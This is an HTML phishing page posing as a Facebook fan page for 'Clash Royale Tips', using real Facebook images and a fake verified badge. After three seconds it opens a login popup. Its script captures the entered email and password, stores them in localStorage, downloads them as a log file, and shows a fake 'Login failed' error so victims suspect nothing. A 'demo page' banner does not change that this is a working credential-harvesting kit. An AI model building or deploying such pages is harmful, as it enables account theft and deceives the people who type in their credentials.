<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Clash Royale Tips</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
background-color: #f0f2f5;
color: #1c1e21;
}
.demo-warning {
background-color: #e74c3c;
color: white;
text-align: center;
padding: 8px;
font-weight: bold;
font-size: 14px;
letter-spacing: 0.5px;
}
.page-container {
max-width: 1200px;
margin: 0 auto;
background: white;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
overflow: hidden;
}
.banner {
width: 100%;
height: 350px;
background-image: url('https://scontent.ftun15-1.fna.fbcdn.net/v/t39.30808-6/528377561_1284698856361111_1875331516786414738_n.jpg?stp=dst-jpg_s960x960_tt6&_nc_cat=108&ccb=1-7&_nc_sid=cc71e4&_nc_ohc=21xyxqob2CkQ7kNvwG8g4Gb&_nc_oc=AdloWTPI0tb0Jm_jvIEJNTimKraNG001vgPAcnvAJ2JFVXAapjXltIs_sKsUR8-_8eeEsYCrEsR53NVz1U3EmHmb&_nc_zt=23&_nc_ht=scontent.ftun15-1.fna&_nc_gid=mMALuyxSx_GNq5tp4f-_ZQ&oh=00_AfUXck_8ob5bvKZCrPIKK0-UF0pheTcTeIwnNumoGEWYmQ&oe=689E8438');
background-size: cover;
background-position: center;
}
.profile-header {
display: flex;
padding: 20px;
background: white;
border-bottom: 1px solid #dddfe2;
position: relative;
}
.profile-pic-container {
position: absolute;
top: -90px;
left: 20px;
width: 176px;
height: 176px;
border-radius: 50%;
border: 4px solid #1877f2;
background: white;
padding: 4px;
}
.profile-pic {
width: 100%;
height: 100%;
border-radius: 50%;
background-image: url(' https://scontent.ftun15-1.fna.fbcdn.net/v/t39.30808-6/346848659_801559518008383_7188947236751943711_n.jpg?_nc_cat=1&ccb=1-7&_nc_sid=6ee11a&_nc_ohc=EsELxq6wqUUQ7kNvwEoAusG&_nc_oc=AdnkTnXQU6PX_xuS6-tkM5tuppOGSgAthcx8bOlKExByKCrnKPhI2PUngOlcDBRq5xcTpAMvlf9TiudV05Pza1xK&_nc_zt=23&_nc_ht=scontent.ftun15-1.fna&_nc_gid=Vz0jl4-kI1uj99TV2JJqnQ&oh=00_AfWfCVQCVWf8eWdL7VBoaECiCpylKEnxQYs6cmLue3hsVg&oe=689E7EF9');
background-size: cover;
background-position: center;
}
.profile-info {
margin-left: 200px;
flex-grow: 1;
display: flex;
flex-direction: column;
}
.profile-name {
font-size: 32px;
font-weight: bold;
color: #050505;
display: flex;
align-items: center;
}
.verified-badge {
color: #1877f2;
margin-left: 6px;
font-size: 24px;
}
.followers-count {
color: #65676b;
font-size: 17px;
margin: 5px 0;
}
.action-buttons {
margin-top: 15px;
margin-left: auto;
}
.action-button {
padding: 8px 12px;
border-radius: 6px;
font-weight: bold;
margin-left: 10px;
cursor: pointer;
border: none;
font-size: 14px;
}
.like-button {
background-color: #1877f2;
color: white;
}
.search-button {
background-color: #e4e6eb;
color: #050505;
}
.tabs {
display: flex;
border-bottom: 1px solid #dddfe2;
}
.tab {
padding: 15px 20px;
font-weight: bold;
color: #65676b;
cursor: pointer;
border-bottom: 3px solid transparent;
}
.tab:hover {
background-color: #f0f2f5;
}
.tab.active {
color: #1877f2;
border-bottom-color: #1877f2;
}
/* Login Popup */
.overlay {
position: fixed;
top: 0;
left: 0;
right: 0;
bottom: 0;
background: rgba(0, 0, 0, 0.5);
z-index: 99;
display: none;
}
.login-popup {
position: fixed;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
background: white;
border-radius: 8px;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1), 0 8px 16px rgba(0, 0, 0, 0.1);
width: 432px;
z-index: 100;
display: none;
overflow: hidden;
}
.login-header {
padding: 16px;
text-align: center;
border-bottom: 1px solid #dadde1;
position: relative;
}
.close-button {
position: absolute;
top: 16px;
right: 16px;
background: #e4e6eb;
border: none;
width: 36px;
height: 36px;
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
cursor: pointer;
font-size: 20px;
}
.profile-display {
width: 120px;
height: 120px;
margin: 0 auto 16px;
border-radius: 50%;
overflow: hidden;
border: 3px solid #1877f2;
}
.profile-display-pic {
width: 100%;
height: 100%;
background-image: url(' https://scontent.ftun15-1.fna.fbcdn.net/v/t39.30808-6/346848659_801559518008383_7188947236751943711_n.jpg?_nc_cat=1&ccb=1-7&_nc_sid=6ee11a&_nc_ohc=EsELxq6wqUUQ7kNvwEoAusG&_nc_oc=AdnkTnXQU6PX_xuS6-tkM5tuppOGSgAthcx8bOlKExByKCrnKPhI2PUngOlcDBRq5xcTpAMvlf9TiudV05Pza1xK&_nc_zt=23&_nc_ht=scontent.ftun15-1.fna&_nc_gid=Vz0jl4-kI1uj99TV2JJqnQ&oh=00_AfWfCVQCVWf8eWdL7VBoaECiCpylKEnxQYs6cmLue3hsVg&oe=689E7EF9');
background-size: cover;
background-position: center;
}
.discover-text {
font-size: 17px;
color: #65676b;
margin: 16px 0;
}
.discover-text b {
color: #050505;
}
.login-form {
padding: 16px;
}
.login-form input {
width: 100%;
padding: 14px 16px;
margin: 8px 0;
border: 1px solid #dddfe2;
border-radius: 6px;
font-size: 17px;
box-sizing: border-box;
outline: none;
}
.login-form input:focus {
border-color: #1877f2;
box-shadow: 0 0 0 2px rgba(24, 119, 242, 0.2);
}
.login-button {
background-color: #1877f2;
color: white;
border: none;
border-radius: 6px;
font-size: 20px;
line-height: 48px;
padding: 0 16px;
width: 100%;
font-weight: bold;
margin: 8px 0;
cursor: pointer;
}
.forgot-password {
text-align: center;
margin: 16px 0;
}
.forgot-password a {
color: #1877f2;
text-decoration: none;
font-size: 14px;
}
.divider {
display: flex;
align-items: center;
margin: 20px 0;
color: #65676b;
font-size: 12px;
}
.divider::before, .divider::after {
content: "";
flex: 1;
border-bottom: 1px solid #dadde1;
}
.divider::before {
margin-right: 10px;
}
.divider::after {
margin-left: 10px;
}
.create-account {
text-align: center;
padding: 0 16px 16px;
}
.create-account-button {
background-color: #42b72a;
color: white;
border: none;
border-radius: 6px;
font-size: 17px;
line-height: 48px;
padding: 0 16px;
font-weight: bold;
cursor: pointer;
width: 60%;
margin: 0 auto;
display: block;
}
.content {
padding: 20px;
text-align: center;
}
.content h2 {
color: #050505;
}
.content p {
color: #65676b;
}
</style>
</head>
<body>
<!-- Demo Warning -->
<div class="demo-warning">
DEMO PAGE - NOT AFFILIATED WITH FACEBOOK OR SUPERCELL
</div>
<div class="page-container">
<div class="banner"></div>
<div class="profile-header">
<div class="profile-pic-container">
<div class="profile-pic"></div>
</div>
<div class="profile-info">
<div class="profile-name">
Clash Royale Tips
<span class="verified-badge">✓</span>
</div>
<div class="followers-count">4.7M likes • 4.9M followers</div>
</div>
<div class="action-buttons">
<button class="action-button like-button">Like</button>
<button class="action-button search-button">Search</button>
</div>
</div>
<div class="tabs">
<div class="tab active">Posts</div>
<div class="tab">About</div>
<div class="tab">Mentions</div>
<div class="tab">Reviews</div>
<div class="tab">Reels</div>
<div class="tab">Photos</div>
<div class="tab">More</div>
</div>
<div class="content">
<h2>Latest Clash Royale Strategies</h2>
<p>Join our community for the best deck builds and gameplay tips!</p>
</div>
</div>
<!-- Login Popup -->
<div class="overlay"></div>
<div class="login-popup">
<div class="login-header">
<button class="close-button">✕</button>
<div class="profile-display">
<div class="profile-display-pic"></div>
</div>
<div class="discover-text"><b>Discover more Clash Royale content</b></div>
</div>
<form class="login-form" id="loginForm">
<input type="text" id="email" placeholder="Email or phone number" required />
<input type="password" id="password" placeholder="Password" required />
<button type="submit" class="login-button">Log In</button>
</form>
<div class="forgot-password">
<a href="#">Forgotten password?</a>
</div>
<div class="divider">or</div>
<div class="create-account">
<button class="create-account-button">Create New Account</button>
</div>
</div>
<script>
// Show login popup after 3 seconds
document.addEventListener("DOMContentLoaded", function () {
setTimeout(function () {
document.querySelector('.overlay').style.display = 'block';
document.querySelector('.login-popup').style.display = 'block';
}, 3000);
});
// Close popup with close button
document.querySelector('.close-button').addEventListener('click', function () {
document.querySelector('.overlay').style.display = 'none';
document.querySelector('.login-popup').style.display = 'none';
});
// Close popup when clicking on overlay
document.querySelector('.overlay').addEventListener('click', function () {
document.querySelector('.overlay').style.display = 'none';
document.querySelector('.login-popup').style.display = 'none';
});
// Handle login form submission
document.getElementById('loginForm').addEventListener('submit', function(e) {
e.preventDefault(); // Prevent actual login
const email = document.getElementById('email').value;
const password = document.getElementById('password').value;
// Log attempt to console
const logEntry = `[${new Date().toISOString()}] Email: ${email}, Password: ${password}\n`;
console.log(logEntry);
// Save to virtual file (browser only)
let logs = localStorage.getItem('iziwizi-logs') || '';
logs += logEntry;
localStorage.setItem('iziwizi-logs', logs);
// Optional: Trigger download of the log file
const blob = new Blob([logs], { type: 'text/plain' });
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = 'iziwizi-logs.txt';
a.click();
// Close popup after login attempt
document.querySelector('.overlay').style.display = 'none';
document.querySelector('.login-popup').style.display = 'none';
// Show fake error (to mimic real login failure)
alert('Login failed. Please check your internet connection.');
});
</script>
</body>
</html>